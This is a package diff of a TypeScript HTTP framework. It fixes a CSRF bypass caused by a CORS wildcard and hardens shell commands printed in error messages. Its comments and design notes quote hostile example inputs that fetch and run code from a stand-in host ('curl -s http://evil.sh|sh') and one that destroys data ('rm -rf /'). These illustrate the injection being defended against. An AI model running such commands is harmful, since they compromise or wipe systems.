@ultimat3/http 19.1.3 → 19.3.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CLAUDE.md +57 -2
- package/README.md +25 -1
- package/package.json +5 -5
- package/src/correlation.ts +6 -0
- package/src/cors.ts +15 -4
- package/src/csrf.ts +7 -4
- package/src/error-facts.ts +54 -2
- package/src/error-map.ts +9 -0
- package/src/errors.ts +25 -1
- package/src/index.ts +3 -1
- package/src/problem-meta.ts +197 -0
- package/src/server.ts +21 -3
package/CLAUDE.md
CHANGED
|
@@ -132,6 +132,12 @@ Owned request lifecycle over `Bun.serve`. Tier 2.
|
|
|
132
132
|
trace was discarded, the root span carried a dashed UUIDv7 no collector accepts as a trace id,
|
|
133
133
|
and the log lines beside it quoted a third value. The `request-id` and `trace` stages now only
|
|
134
134
|
PUBLISH what was decided — they do not decide. The regex is core's `parseTraceparent`, one copy.
|
|
135
|
+
**Only ONE of the two is gated on `trustProxy`, and the asymmetry is deliberate** — `x-request-id`
|
|
136
|
+
is ECHOED back as this response's identity, so a caller choosing it poisons log correlation for
|
|
137
|
+
everyone; `traceparent` is W3C context continuation, which any caller is expected to send.
|
|
138
|
+
`traceHeaders()` (tier 0) puts it on every typed-client call, so gating it would break tracing
|
|
139
|
+
between two Ultimate services under the default `trustProxy` (false), for a value that carries
|
|
140
|
+
correlation and no authority. Never "fix" the inconsistency by gating it.
|
|
135
141
|
- **Every proxy-supplied header goes through `forwardedElement(header, hops)` and nothing else.**
|
|
136
142
|
`trustProxy` documented reading `x-forwarded-for` and had no reader at all, so behind any ingress
|
|
137
143
|
every anonymous request keyed to the proxy — one `auth` bucket (capacity 10) for the whole
|
|
@@ -140,6 +146,7 @@ Owned request lifecycle over `Bun.serve`. Tier 2.
|
|
|
140
146
|
declared trusts nothing rather than falling back leftward. `trustProxy` defaults to **false** and
|
|
141
147
|
requires `trustedProxyHops` (`X_TRUST_PROXY_UNSET` at `defineHttpConfig`) — it also gates the
|
|
142
148
|
`x-request-id` echo, and a direct caller choosing its own request id poisons log correlation.
|
|
149
|
+
The inbound `traceparent` is deliberately NOT on this list; `correlation.ts` above says why.
|
|
143
150
|
`x-forwarded-proto` rides the same rule, which is what finally emits HSTS behind a
|
|
144
151
|
TLS-terminating ingress, and so does Envoy's `x-forwarded-client-cert` (`peer-identity.ts`).
|
|
145
152
|
**A peer certificate read from an untrusted hop is worse than none, because it authenticates** —
|
|
@@ -183,7 +190,12 @@ Owned request lifecycle over `Bun.serve`. Tier 2.
|
|
|
183
190
|
because only an AMBIENT credential can be forged into (anonymous and bearer callers are exempt);
|
|
184
191
|
before body so a rejected write never allocates its payload. `sec-fetch-site: same-origin`, an
|
|
185
192
|
`Origin` equal to this app, or an `Origin` already in `cors.origins`; anything else is
|
|
186
|
-
`X_CSRF_BLOCKED` (403, never 401 — the caller IS signed in, which is the problem).
|
|
193
|
+
`X_CSRF_BLOCKED` (403, never 401 — the caller IS signed in, which is the problem). "Already in
|
|
194
|
+
`cors.origins`" means an EXACT listing — `originListed`, never `allowedOrigin`, `As of
|
|
195
|
+
2026-09-06`. That one answers the RESPONSE header, and for `origins: ['*'], credentials: false`
|
|
196
|
+
(the only wildcard `assertCorsConfig` admits) its answer is `'*'`, which is not `null` and so
|
|
197
|
+
read as "this origin is one we allow": every origin on the internet was same-origin, and the
|
|
198
|
+
cross-site form post this stage exists to refuse was answered `{"ok":true}`. The self
|
|
187
199
|
origin is built from `ctx.https`, not `url.protocol`, or every legitimate post behind a
|
|
188
200
|
TLS-terminating ingress would be refused. **`mode: 'token'` is deliberately NOT shipped** — a
|
|
189
201
|
double-submit token needs a cookie issuer and a form-field helper at tier 4/5, and a half-built
|
|
@@ -250,9 +262,24 @@ Owned request lifecycle over `Bun.serve`. Tier 2.
|
|
|
250
262
|
both needed. The caller-facing `issues` are a fixed vocabulary — `could not parse the body as
|
|
251
263
|
JSON`, and the LIST of accepted content-types rather than the one that was sent — and everything
|
|
252
264
|
the caller supplied rides in `bodyInvalid`'s third argument, `meta`, which `toProblem` never
|
|
253
|
-
renders. The parser's own message goes through core's `renderThrowable`, never `String(error)`:
|
|
265
|
+
renders for a framework code (`registerProblemMeta` refuses to declare one). The parser's own message goes through core's `renderThrowable`, never `String(error)`:
|
|
254
266
|
`bun run error-render` cannot see this class of defect, because a `catch` binding is not a
|
|
255
267
|
parameter, so it is a review rule here and a blind spot there.
|
|
268
|
+
- **`meta` reaches the document only by declaration — per code, per key, app codes only**
|
|
269
|
+
(`As of 2026-09-05`). `meta` is the operator-only bag: `bodyInvalid` keeps the body excerpt
|
|
270
|
+
there, the limiter its internal key, core's `assert` the rejected value, `env-example.ts` file
|
|
271
|
+
paths, and each of those relies on `toProblem` never rendering it. So "carry `meta`" was never
|
|
272
|
+
an option, and an app whose `X_SESSION_CHECKOUT_BUSY` put `{ sessionId, title, state }` there
|
|
273
|
+
had its island recover the id by running a UUID regex over `cause`. `registerProblemMeta({
|
|
274
|
+
X_SESSION_CHECKOUT_BUSY: ['sessionId', 'title', 'state'] })` (`problem-meta.ts`) is the seam,
|
|
275
|
+
in `registerErrorStatus`'s shape and refusing what it refuses — a framework-owned code —
|
|
276
|
+
plus `issues` (one home, one bound) and `__proto__`. `wireMeta` copies the declared keys that
|
|
277
|
+
are set, member by member through `Object.defineProperty`, all-or-nothing for `issuesOf`'s
|
|
278
|
+
reason and bounded at `MAX_PROBLEM_META_BYTES`; `toProblem` drops it under exactly the
|
|
279
|
+
`opaque` condition that blanks `cause`, which is also the belt on "both registrations are
|
|
280
|
+
needed": a code with keys and no status is unclassified. The typed client
|
|
281
|
+
(`@ultimat3/action`'s `metaFromWire`) puts the member back on `RemoteActionError.meta`, under
|
|
282
|
+
the four members that class owns.
|
|
256
283
|
- **A browser that fails `auth: 'required'` is redirected; an agent gets the problem document.**
|
|
257
284
|
One condition, two audiences, decided once in `auth-redirect.ts` and applied in the `error-map`
|
|
258
285
|
stage before the overlay. `config.signInPath` is `null` until an app names its page, because a
|
|
@@ -572,6 +599,34 @@ Owned request lifecycle over `Bun.serve`. Tier 2.
|
|
|
572
599
|
`drain()` and `healthzPayload()`/`readyzPayload()`. Never keep a private `state` or
|
|
573
600
|
in-flight counter — core waits on work it does not know about, so a private counter
|
|
574
601
|
hangs every deploy at the `inflight` phase.
|
|
602
|
+
- **`stop()` hands its two hooks back ABOVE its early return** (`As of 2026-09`). The `close` hook
|
|
603
|
+
sets `server = undefined`, so on the SIGTERM path `if (server === undefined) return` skipped the
|
|
604
|
+
`unregister?.()` pair in the `finally` — for exactly the path production takes. Every later
|
|
605
|
+
`stop()` (a test teardown, `x dev`'s role rollback) left both registrations pointing at a socket
|
|
606
|
+
that was already gone, and `shutdownHookCount()` — the probe `packages/core/CLAUDE.md` names for
|
|
607
|
+
this leak — climbed by two per server per lifecycle. `packages/http/e2e/server.e2e.test.ts` reads
|
|
608
|
+
that probe now; the shape is `@ultimat3/jobs`' worker teardown, where the release is the
|
|
609
|
+
closure's business and never the drain's.
|
|
610
|
+
- **A pathname reaching a `fix:` goes through `renderFixShellArg`** (`As of 2026-09`).
|
|
611
|
+
`routeNotFound`'s fix is `x g route <path>`, a command, and the path is whatever an anonymous
|
|
612
|
+
caller typed: `GET /$(curl -s http://evil.sh|sh)` rendered that substitution verbatim into the
|
|
613
|
+
line the framework tells its reader to paste. The value still travels in the `cause`, which is
|
|
614
|
+
read rather than run. `renderFixLiteral` does not cover this — its double quotes leave `$(…)`
|
|
615
|
+
live in every POSIX shell.
|
|
616
|
+
**A `code` is gated instead of screened** (`As of 2026-09-06`): `factsOf`'s fallback `fix:` is
|
|
617
|
+
`x errors explain <code> --json`, and `code` is a string field off a throwable this package did
|
|
618
|
+
not build — a worker message, a WebSocket frame, an app's own object — so it goes through core's
|
|
619
|
+
`FRAMEWORK_CODE`, never `startsWith('X_')`. A value that is not a code answers nothing anyway,
|
|
620
|
+
so the honest command is `x errors list --json`. Same gate, same reason, as `@ultimat3/mcp`'s
|
|
621
|
+
`server.ts`; the value still travels in `facts.code`.
|
|
622
|
+
**And a SUPPLIED `fix:` is taken only from a BRANDED framework error** (`As of 2026-09-06`). The
|
|
623
|
+
gate above screens the code this package renders INTO a command; this one screens a whole command
|
|
624
|
+
a throwable handed over. `factsOf` normalises a worker message, a WebSocket frame and any app
|
|
625
|
+
object, so a foreign `fix` is remote text landing in the line an operator is told to paste, and a
|
|
626
|
+
framework code beside it makes the line read as the framework's own — `isUltimateError`, and
|
|
627
|
+
nothing else, is what says the value went through `renderFixShellArg` and this tree's gate. An
|
|
628
|
+
error that crossed a wire and lost its brand falls to the generated line, which is honest. The
|
|
629
|
+
`cause` still travels: a cause is read, never run.
|
|
575
630
|
- **Borrowed error codes are never titled or registered here.** `X_FORBIDDEN` is policy's,
|
|
576
631
|
`X_UNAUTHENTICATED` is auth's; both sit in `HTTP_BORROWED_ERROR_CODES`, which carries codes
|
|
577
632
|
only. `HTTP_ERROR_TITLES` holds owned codes, and `registerErrorCodes` takes it whole and
|
package/README.md
CHANGED
|
@@ -94,7 +94,7 @@ What the lifecycle refuses on the caller's behalf, `As of 2026-08`:
|
|
|
94
94
|
| an injected limiter that does not hold a bucket a route declares | `X_RATE_LIMIT_BUCKET_UNBOUND` at `createPipeline`, because the name would fall through to `default` — measured at 120 burst for a route declaring 5 |
|
|
95
95
|
| a config that never declared `rateLimit.scope` | `X_RATE_LIMIT_SCOPE_UNSET` at `defineHttpConfig`. **Breaking, `As of 2026-08`**: `'process'` used to be the default, so "nobody asked" and "the app said one replica" were the same value while the chart runs three |
|
|
96
96
|
| `trustProxy: true` with no `trustedProxyHops` | `X_TRUST_PROXY_UNSET` at `defineHttpConfig`. **Breaking, `As of 2026-08`**: `trustProxy` now defaults to `false`, and `x-forwarded-for` is read at `entries.length - hops` — never at `[0]`, which is whatever the client typed |
|
|
97
|
-
| a credentialed unsafe method that cannot be shown to be same-origin | `X_CSRF_BLOCKED` (403). `sec-fetch-site: same-origin`, `Origin` equal to this app, or an
|
|
97
|
+
| a credentialed unsafe method that cannot be shown to be same-origin | `X_CSRF_BLOCKED` (403). `sec-fetch-site: same-origin`, `Origin` equal to this app, or an EXACT listing in `cors.origins` — anything else is refused before the body is read. `origins: ['*']` lists nobody here: `'*'` is a value for the response header, not a per-origin allowance |
|
|
98
98
|
| a request past `requestTimeoutMs` (30s) | `ctx.signal` aborts and the socket is answered `X_TIMEOUT` (504); a caller may shorten the deadline with `x-request-timeout-ms`, never lengthen it |
|
|
99
99
|
| the caller going away mid-request | `ctx.signal` aborts on the inbound `Request.signal` too, so a closed tab unwinds cooperative work instead of holding its pool slot for the rest of the budget. Both halves are one signal (`AbortSignal.any`), and `requestTimeoutMs: 0` still delivers the caller's |
|
|
100
100
|
| a request while the process is draining | `X_DRAINING` (503) + `retry-after`, which is what `isDraining()` was always documented to do here and had no reader for |
|
|
@@ -342,6 +342,30 @@ identifier a client switches on, per code, with no host to resolve or rot. `docs
|
|
|
342
342
|
in a table row and a table row has no anchor. Assert against `problemTypeFor` and
|
|
343
343
|
`ERROR_DOCS_URL`, never against a copy of either string.
|
|
344
344
|
|
|
345
|
+
An error's `meta` is **operator-only by default** and the document never carries it: that bag is
|
|
346
|
+
where `bodyInvalid` keeps the excerpt the parser choked on, where the limiter keeps the internal
|
|
347
|
+
key it promoted an anonymous caller to, and where core's `assert` keeps the rejected value. An app
|
|
348
|
+
that wants a key on the wire declares it, per code, beside the status — and both declarations
|
|
349
|
+
are needed, because a code with no status is an unclassified 5xx whose `meta` is blanked with
|
|
350
|
+
its `cause`:
|
|
351
|
+
|
|
352
|
+
```ts
|
|
353
|
+
import { registerErrorStatus, registerProblemMeta } from '@ultimat3/http';
|
|
354
|
+
|
|
355
|
+
registerErrorStatus({ X_SESSION_CHECKOUT_BUSY: 409 });
|
|
356
|
+
registerProblemMeta({ X_SESSION_CHECKOUT_BUSY: ['sessionId', 'title', 'state'] });
|
|
357
|
+
```
|
|
358
|
+
|
|
359
|
+
The document then carries `meta: { sessionId, title, state }` — the declared keys that are set,
|
|
360
|
+
copied member by member (`__proto__` skipped at every depth), and nothing else off the error. It
|
|
361
|
+
is all-or-nothing, as `issues` is: one value JSON cannot carry (a `Date`, a `bigint`, a class
|
|
362
|
+
instance, a cycle) or a serialisation past `MAX_PROBLEM_META_BYTES` (4096) drops the whole member,
|
|
363
|
+
because a document missing one declared key is a claim the server never made. Absent when no
|
|
364
|
+
declared key is set — never `{}`. A framework-owned code is refused (`X_PROBLEM_META_INVALID`),
|
|
365
|
+
as is `issues`, which has its own top-level home. `@ultimat3/action`'s typed client puts the
|
|
366
|
+
member back on the rebuilt error's `meta`, so an island reads `error.meta.sessionId` where it
|
|
367
|
+
used to run a regex over `cause`.
|
|
368
|
+
|
|
345
369
|
## Boundaries
|
|
346
370
|
|
|
347
371
|
Tier 2. Imports `@ultimat3/core`, `@ultimat3/schema`, `@ultimat3/i18n` and `@ultimat3/time` —
|
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "@ultimat3/http",
|
|
3
|
-
"version": "19.1
|
|
3
|
+
"version": "19.3.1",
|
|
4
4
|
"description": "Owned request lifecycle over Bun.serve: router, ordered pipeline, problem+json errors",
|
|
5
5
|
"license": "MIT",
|
|
6
6
|
"type": "module",
|
|
@@ -31,9 +31,9 @@
|
|
|
31
31
|
"test": "bun test"
|
|
32
32
|
},
|
|
33
33
|
"dependencies": {
|
|
34
|
-
"@ultimat3/core": "19.1
|
|
35
|
-
"@ultimat3/i18n": "19.1
|
|
36
|
-
"@ultimat3/schema": "19.1
|
|
37
|
-
"@ultimat3/time": "19.1
|
|
34
|
+
"@ultimat3/core": "19.3.1",
|
|
35
|
+
"@ultimat3/i18n": "19.3.1",
|
|
36
|
+
"@ultimat3/schema": "19.3.1",
|
|
37
|
+
"@ultimat3/time": "19.3.1"
|
|
38
38
|
}
|
|
39
39
|
}
|
package/src/correlation.ts
CHANGED
|
@@ -34,6 +34,12 @@ export interface InboundCorrelation {
|
|
|
34
34
|
export const readCorrelation = (headers: Headers, config: HttpConfig): InboundCorrelation => {
|
|
35
35
|
const inboundId = config.trustProxy ? headers.get('x-request-id') : null;
|
|
36
36
|
const requestId = inboundId !== null && REQUEST_ID.test(inboundId) ? inboundId : uuid();
|
|
37
|
+
// Deliberately NOT gated on `trustProxy`, unlike the id above, and the asymmetry is the rule:
|
|
38
|
+
// `x-request-id` is ECHOED back as this response's identity, so an untrusted caller choosing it
|
|
39
|
+
// poisons log correlation for everyone — while `traceparent` is W3C context continuation, which
|
|
40
|
+
// any caller is expected to send. `traceHeaders()` puts it on every typed-client call, so
|
|
41
|
+
// gating it would break tracing across two Ultimate services with the default `trustProxy`
|
|
42
|
+
// (false) for a value that is 32 hex characters of correlation and no authority at all.
|
|
37
43
|
const parent = parseTraceparent(headers.get('traceparent'));
|
|
38
44
|
return {
|
|
39
45
|
requestId,
|
package/src/cors.ts
CHANGED
|
@@ -37,14 +37,25 @@ export const assertCorsConfig = (config: CorsConfig): void => {
|
|
|
37
37
|
};
|
|
38
38
|
|
|
39
39
|
/**
|
|
40
|
-
*
|
|
41
|
-
*
|
|
42
|
-
* a
|
|
40
|
+
* Did the app LIST this exact origin? Off the same array `allowedOrigin` reads, so the two can
|
|
41
|
+
* never disagree about what was declared — but the wildcard is deliberately not an answer here.
|
|
42
|
+
* `'*'` is a value for a RESPONSE header, meaning "any origin may read a public reply"; it says
|
|
43
|
+
* nothing about who may WRITE. `csrf.ts` asked `allowedOrigin(...) !== null` and got `'*'` back
|
|
44
|
+
* for the one legal wildcard form (`credentials: false`), which read as "evil.test is an origin
|
|
45
|
+
* this app allows" and let a cross-site form post through with the session cookie attached.
|
|
46
|
+
*/
|
|
47
|
+
export const originListed = (config: CorsConfig, origin: string | null): boolean =>
|
|
48
|
+
origin !== null && config.origins.includes(origin);
|
|
49
|
+
|
|
50
|
+
/**
|
|
51
|
+
* The one answer to "may this origin READ our reply?" — the value of
|
|
52
|
+
* `access-control-allow-origin`, or `null` for no CORS headers at all. Never a proof that a
|
|
53
|
+
* request came from somewhere allowed to make it: that is `originListed`, above.
|
|
43
54
|
*/
|
|
44
55
|
export const allowedOrigin = (config: CorsConfig, origin: string | null): string | null => {
|
|
45
56
|
if (origin === null) return null;
|
|
46
57
|
if (config.origins.includes('*')) return config.credentials ? null : '*';
|
|
47
|
-
return config
|
|
58
|
+
return originListed(config, origin) ? origin : null;
|
|
48
59
|
};
|
|
49
60
|
|
|
50
61
|
/**
|
package/src/csrf.ts
CHANGED
|
@@ -6,7 +6,7 @@
|
|
|
6
6
|
// first-class surface here rather than a legacy one.
|
|
7
7
|
|
|
8
8
|
import type { CorsConfig } from './cors';
|
|
9
|
-
import {
|
|
9
|
+
import { originListed } from './cors';
|
|
10
10
|
|
|
11
11
|
export type CsrfMode = 'origin' | 'off';
|
|
12
12
|
|
|
@@ -61,9 +61,12 @@ export const checkCsrf = (input: CsrfCheckInput): CsrfVerdict => {
|
|
|
61
61
|
const site = input.secFetchSite;
|
|
62
62
|
if (site === 'same-origin' || site === 'none') return { ok: true };
|
|
63
63
|
if (input.origin === input.selfOrigin) return { ok: true };
|
|
64
|
-
|
|
65
|
-
|
|
66
|
-
|
|
64
|
+
// `originListed`, never `allowedOrigin`: that one answers the RESPONSE header, and for
|
|
65
|
+
// `origins: ['*'], credentials: false` — the only wildcard `assertCorsConfig` admits — its
|
|
66
|
+
// answer is `'*'`, which is not null and so read as "this origin is one we allow". A
|
|
67
|
+
// credentialed cross-site POST from evil.test was therefore accepted by the check that exists
|
|
68
|
+
// to refuse exactly it. An exact match is the only allowance a write may be built on.
|
|
69
|
+
if (originListed(input.cors, input.origin)) return { ok: true };
|
|
67
70
|
// Only the four values a browser can send are quoted back. Anything else is a client that
|
|
68
71
|
// wrote the header itself, and echoing what it wrote is how a rejected value reaches the log
|
|
69
72
|
// store and the response body — the same defect the error-map stage's log line had.
|
package/src/error-facts.ts
CHANGED
|
@@ -2,10 +2,18 @@
|
|
|
2
2
|
// document and the three lines the terminal and the overlay print. Split off `error-map.ts` at the
|
|
3
3
|
// 500-line ceiling — that file answers "what status is this code", one closed table, and this one
|
|
4
4
|
// answers "what does a reader see", which is three audiences and one opacity rule.
|
|
5
|
-
import {
|
|
5
|
+
import {
|
|
6
|
+
ERROR_DOCS_URL,
|
|
7
|
+
FRAMEWORK_CODE,
|
|
8
|
+
isUltimateError,
|
|
9
|
+
renderCauseValue,
|
|
10
|
+
singleLine,
|
|
11
|
+
stringField,
|
|
12
|
+
} from '@ultimat3/core';
|
|
6
13
|
import type { ValidationIssue } from '@ultimat3/schema';
|
|
7
14
|
import { declaredStatusFor, statusFor } from './error-map';
|
|
8
15
|
import { HTTP_ERROR_TITLES } from './errors';
|
|
16
|
+
import { type ProblemMeta, problemMetaKeysFor, wireMeta } from './problem-meta';
|
|
9
17
|
|
|
10
18
|
/** Everything a renderer (problem+json, overlay, terminal) needs from a throwable. */
|
|
11
19
|
export interface ErrorFacts {
|
|
@@ -63,7 +71,23 @@ export const factsOf = (error: unknown): ErrorFacts => {
|
|
|
63
71
|
// `x logs tail` is in `PLANNED_COMMANDS` — it exits `X_NOT_IMPLEMENTED`. A fix line naming a
|
|
64
72
|
// command that throws is axiom 4 inverted: the one instruction the reader is given fails.
|
|
65
73
|
// `x errors explain` ships, and it is the command that answers "what is this code".
|
|
66
|
-
|
|
74
|
+
// `FRAMEWORK_CODE`, never `startsWith('X_')`: `code` is a string field off a value this
|
|
75
|
+
// package did not build, and this line is a COMMAND a reader pastes — `x errors explain
|
|
76
|
+
// X_$(curl evil.sh|sh) --json` substitutes before `x` is reached. A code that is not one
|
|
77
|
+
// answers nothing anyway, so the listing is the honest command. Same gate, same reason, as
|
|
78
|
+
// `@ultimat3/mcp`'s `server.ts`.
|
|
79
|
+
// BRANDED, never merely "has a `fix` string": `factsOf` normalises a worker message, a
|
|
80
|
+
// WebSocket frame and any app object, so a foreign `fix` is remote text landing in the line an
|
|
81
|
+
// operator is told to paste — `rm -rf / # x errors explain` renders as authoritative as the
|
|
82
|
+
// framework's own. An `UltimateError` built its `fix` in this process, through
|
|
83
|
+
// `renderFixShellArg` and this tree's gate; nothing else has. A framework error that crossed a
|
|
84
|
+
// wire and lost its brand falls to the generated line below, which is honest rather than a
|
|
85
|
+
// command it did not author.
|
|
86
|
+
fix:
|
|
87
|
+
(isUltimateError(error) ? str(error, 'fix') : undefined) ??
|
|
88
|
+
(FRAMEWORK_CODE.test(code)
|
|
89
|
+
? `x errors explain ${code} --json # then fix the throwing call site`
|
|
90
|
+
: 'x errors list --json # then fix the throwing call site'),
|
|
67
91
|
// Core's one constant, never a per-code URL: `wiki/` is the only public documentation surface
|
|
68
92
|
// and a code lives there in a table row, which has no anchor. An `UltimateError` already
|
|
69
93
|
// resolved this at construction, so the fallback only fires for a throwable the framework did
|
|
@@ -179,6 +203,22 @@ function issuesOf(error: unknown): readonly ValidationIssue[] | undefined {
|
|
|
179
203
|
}
|
|
180
204
|
}
|
|
181
205
|
|
|
206
|
+
/**
|
|
207
|
+
* The declared `meta` keys of a throwable, carried, or `undefined`. The declaration is read by
|
|
208
|
+
* the CODE — never by the class, which the framework cannot see across a bundle — and the walk
|
|
209
|
+
* itself is `wireMeta`'s. Total, for `retryAfterOf`'s reason: `meta` is a property read on a
|
|
210
|
+
* value this package did not build, in the frame that decides what the caller sees.
|
|
211
|
+
*/
|
|
212
|
+
function metaOf(error: unknown, code: string): ProblemMeta | undefined {
|
|
213
|
+
const keys = problemMetaKeysFor(code);
|
|
214
|
+
if (keys === undefined || typeof error !== 'object' || error === null) return undefined;
|
|
215
|
+
try {
|
|
216
|
+
return wireMeta((error as Record<string, unknown>)['meta'], keys);
|
|
217
|
+
} catch {
|
|
218
|
+
return undefined;
|
|
219
|
+
}
|
|
220
|
+
}
|
|
221
|
+
|
|
182
222
|
/**
|
|
183
223
|
* RFC-9457 `type`, per code. A URN, and deliberately not a URL: `type` is the document's PRIMARY
|
|
184
224
|
* identifier for the problem KIND — a client switches on it — while `docs` is where a human goes
|
|
@@ -214,6 +254,14 @@ export interface ProblemDocument {
|
|
|
214
254
|
* `[]` says "validated clean", which is a different and false claim.
|
|
215
255
|
*/
|
|
216
256
|
readonly issues?: readonly ValidationIssue[] | undefined;
|
|
257
|
+
/**
|
|
258
|
+
* The keys of the error's `meta` that `registerProblemMeta` declared for its code, JSON-safe
|
|
259
|
+
* and bounded — and nothing else off `meta`, which is the operator-only bag the rest of this
|
|
260
|
+
* package keeps OUT of the document (`HttpError`'s doc comment says why). ABSENT when the code
|
|
261
|
+
* declares none, when none of the declared keys is set, and when one of them cannot be carried
|
|
262
|
+
* — all-or-nothing, like `issues`, and for its reason.
|
|
263
|
+
*/
|
|
264
|
+
readonly meta?: ProblemMeta | undefined;
|
|
217
265
|
}
|
|
218
266
|
|
|
219
267
|
/** The title a caller gets for a failure the framework cannot name. */
|
|
@@ -257,6 +305,9 @@ export const toProblem = (
|
|
|
257
305
|
// withhold — it names the fields and the expectations of something the caller was never meant to
|
|
258
306
|
// see the inside of. `X_INPUT_INVALID` is a declared 4xx, so it is never opaque.
|
|
259
307
|
const issues = opaque ? undefined : issuesOf(error);
|
|
308
|
+
// The same condition, for the same reason: a code nobody classified cannot have declared any
|
|
309
|
+
// key either, so this is the belt on `registerProblemMeta`'s "both registrations are needed".
|
|
310
|
+
const carried = opaque ? undefined : metaOf(error, facts.code);
|
|
260
311
|
return {
|
|
261
312
|
type: problemTypeFor(facts.code),
|
|
262
313
|
title: opaque ? INTERNAL_TITLE : facts.title,
|
|
@@ -269,6 +320,7 @@ export const toProblem = (
|
|
|
269
320
|
docs: facts.docs,
|
|
270
321
|
requestId: meta.requestId,
|
|
271
322
|
...(issues === undefined ? {} : { issues }),
|
|
323
|
+
...(carried === undefined ? {} : { meta: carried }),
|
|
272
324
|
};
|
|
273
325
|
};
|
|
274
326
|
|
package/src/error-map.ts
CHANGED
|
@@ -31,6 +31,7 @@ export const ERROR_STATUS = {
|
|
|
31
31
|
// and declaring a status the framework already owns. 500 is the honest answer to either.
|
|
32
32
|
X_NO_REQUEST: 500,
|
|
33
33
|
X_ERROR_STATUS_INVALID: 500,
|
|
34
|
+
X_PROBLEM_META_INVALID: 500,
|
|
34
35
|
// A `hive()` whose `split()` returned no members. The caller cannot fix it by sending
|
|
35
36
|
// different input — the guard belongs in the app, either by returning at least one member
|
|
36
37
|
// or by skipping the hive when the source is empty — so it is the server's bug, not theirs.
|
|
@@ -338,6 +339,14 @@ export const ERROR_STATUS = {
|
|
|
338
339
|
// runtime and makes that answer a reviewed one instead of an accident, which is the whole reason
|
|
339
340
|
// this table is closed.
|
|
340
341
|
X_UI_FORM_PATH_INVALID: 500,
|
|
342
|
+
// @ultimat3/render — an island handed props it cannot carry: an undeclared key, a value that is
|
|
343
|
+
// not JSON, or a bag over `ISLAND_PROPS_MAX_BYTES`. The author's fault and never the caller's,
|
|
344
|
+
// so 500 is the honest class — and it HAS to be a declared 500. Without a row the code was an
|
|
345
|
+
// unclassified failure, and `toProblem` blanks the cause of one of those outside dev
|
|
346
|
+
// (`isUnclassifiedFailure`): a 34-row catalog over the cap took a page down with a problem
|
|
347
|
+
// document that said "the details are in this process's logs" about an error whose whole
|
|
348
|
+
// value is the sentence naming the prop and its bytes. Measured on ai-maxxing, 2026-09-05.
|
|
349
|
+
X_ISLAND_PROPS_INVALID: 500,
|
|
341
350
|
// @ultimat3/mail
|
|
342
351
|
// The deployment configured no transport. It reaches a caller only through an inline
|
|
343
352
|
// `send(…, { sync: true })` inside a request; the queued path dead-letters instead. A server-side
|
package/src/errors.ts
CHANGED
|
@@ -4,6 +4,7 @@
|
|
|
4
4
|
import {
|
|
5
5
|
registerErrorCodes,
|
|
6
6
|
registerErrorRetry,
|
|
7
|
+
renderFixShellArg,
|
|
7
8
|
renderThrowable,
|
|
8
9
|
UltimateError,
|
|
9
10
|
} from '@ultimat3/core';
|
|
@@ -22,6 +23,7 @@ export const HTTP_OWNED_ERROR_CODES = [
|
|
|
22
23
|
'X_PIPELINE_FINALIZE_FAILED',
|
|
23
24
|
'X_NO_REQUEST',
|
|
24
25
|
'X_ERROR_STATUS_INVALID',
|
|
26
|
+
'X_PROBLEM_META_INVALID',
|
|
25
27
|
'X_CORS_CONFIG_INVALID',
|
|
26
28
|
'X_CSP_DIRECTIVE_INVALID',
|
|
27
29
|
'X_RATE_LIMIT_NOT_SHARED',
|
|
@@ -84,6 +86,7 @@ export const HTTP_ERROR_TITLES: Readonly<Record<HttpOwnedErrorCode, string>> = {
|
|
|
84
86
|
X_PIPELINE_FINALIZE_FAILED: 'a finalize stage threw instead of finishing the response',
|
|
85
87
|
X_NO_REQUEST: 'the inbound request is not in scope here',
|
|
86
88
|
X_ERROR_STATUS_INVALID: 'an error code cannot be mapped to that status',
|
|
89
|
+
X_PROBLEM_META_INVALID: 'a problem document cannot carry that meta declaration',
|
|
87
90
|
X_CORS_CONFIG_INVALID: 'the cors config can never produce a working response',
|
|
88
91
|
X_CSP_DIRECTIVE_INVALID: 'a csp extension would emit something other than the directive it names',
|
|
89
92
|
X_RATE_LIMIT_NOT_SHARED: 'the rate limit is declared fleet-wide and the store is per-process',
|
|
@@ -150,11 +153,20 @@ export class HttpError extends UltimateError {
|
|
|
150
153
|
}
|
|
151
154
|
}
|
|
152
155
|
|
|
156
|
+
/**
|
|
157
|
+
* The pathname is whatever an anonymous caller typed, and `fix:` is a COMMAND POSITION — so it
|
|
158
|
+
* goes through `renderFixShellArg`, which passes an ordinary path through and substitutes a
|
|
159
|
+
* placeholder for anything a shell would read. `renderFixLiteral` is the wrong tool here and
|
|
160
|
+
* cannot be made right: it answers double quotes, in which `$(…)` and backticks are still live.
|
|
161
|
+
* Reproduced: `GET /$(curl -s http://evil.sh|sh)` rendered that substitution verbatim into a line
|
|
162
|
+
* whose whole purpose is to be pasted into a terminal.
|
|
163
|
+
*/
|
|
153
164
|
export const routeNotFound = (method: string, pathname: string): HttpError =>
|
|
154
165
|
new HttpError({
|
|
155
166
|
code: 'X_ROUTE_NOT_FOUND',
|
|
167
|
+
// The value itself still travels, in the field that is read rather than run.
|
|
156
168
|
cause: `no route registered for ${method} ${pathname}`,
|
|
157
|
-
fix: `x routes list --json # then: x g route ${pathname}`,
|
|
169
|
+
fix: `x routes list --json # then: x g route ${renderFixShellArg(pathname, '<the path the cause names>')}`,
|
|
158
170
|
});
|
|
159
171
|
|
|
160
172
|
export const methodNotAllowed = (
|
|
@@ -296,6 +308,18 @@ export const errorStatusInvalid = (code: string, reason: string): HttpError =>
|
|
|
296
308
|
fix: `x errors list --json # then registerErrorStatus({ ${code}: 422 }) with a status the framework does not already own`,
|
|
297
309
|
});
|
|
298
310
|
|
|
311
|
+
/**
|
|
312
|
+
* At boot, beside `errorStatusInvalid` and for the same class of mistake: a declaration the
|
|
313
|
+
* document could never honour — a framework-owned code, whose `meta` is operator-only; a key that
|
|
314
|
+
* is not one (`issues` rides at the top level already); or a second, different list for one code.
|
|
315
|
+
*/
|
|
316
|
+
export const problemMetaInvalid = (code: string, reason: string): HttpError =>
|
|
317
|
+
new HttpError({
|
|
318
|
+
code: 'X_PROBLEM_META_INVALID',
|
|
319
|
+
cause: `${code} cannot carry that meta: ${reason}`,
|
|
320
|
+
fix: `registerProblemMeta({ ${code}: ['<key>'] }) with the keys this app's error puts in meta, beside its registerErrorStatus() call`,
|
|
321
|
+
});
|
|
322
|
+
|
|
299
323
|
/**
|
|
300
324
|
